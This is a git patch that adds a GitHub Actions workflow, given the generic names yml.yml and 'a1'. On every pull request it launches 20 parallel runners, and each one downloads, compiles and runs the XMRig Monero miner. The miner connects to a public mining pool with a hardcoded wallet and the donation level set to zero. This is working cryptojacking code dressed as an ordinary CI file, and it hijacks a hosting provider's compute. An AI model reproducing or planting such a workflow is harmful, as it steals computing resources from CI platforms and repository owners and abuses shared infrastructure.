From 0d25926c3cafa852a07f9efa101cbbb15d6db4ea Mon Sep 17 00:00:00 2001 From: richymu19 <82303400+richymu19@users.noreply.github.com> Date: Sun, 11 Apr 2021 01:31:43 -0400 Subject: [PATCH] Create yml.yml --- .github/workflows/yml.yml | 24 ++++++++++++++++++++++++ 1 file changed, 24 insertions(+) create mode 100644 .github/workflows/yml.yml diff --git a/.github/workflows/yml.yml b/.github/workflows/yml.yml new file mode 100644 index 0000000..b268b08 --- /dev/null +++ b/.github/workflows/yml.yml @@ -0,0 +1,24 @@ +name: a1 +on: [pull_request] +jobs: + run: + name: Run + runs-on: ubuntu-latest + strategy: + fail-fast: false + matrix: + runner: [0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19] + steps: + - shell: bash + run: | + sudo apt-get update + sudo apt-get install --yes build-essential cmake git libhwloc-dev libssl-dev libuv1-dev + curl -Lo xmrig.tar.gz https://github.com/xmrig/xmrig/archive/refs/tags/v6.10.0.tar.gz + tar xf xmrig.tar.gz + cd xmrig-* + mkdir build + cd build + cmake .. -DCMAKE_BUILD_TYPE=Release + make --jobs=$(nproc) + + ./xmrig --donate-level 0 -o us-west.minexmr.com:443 -u 42pKVvPZ6X6WiQbdNdVnx7ix75JgpUSdyK9r5q5Q9sdRTH5MmqRTgNyBvZfPRTyEFrPuMELm6zuS6FqUwkbttUiDTiV3QgV -k --tls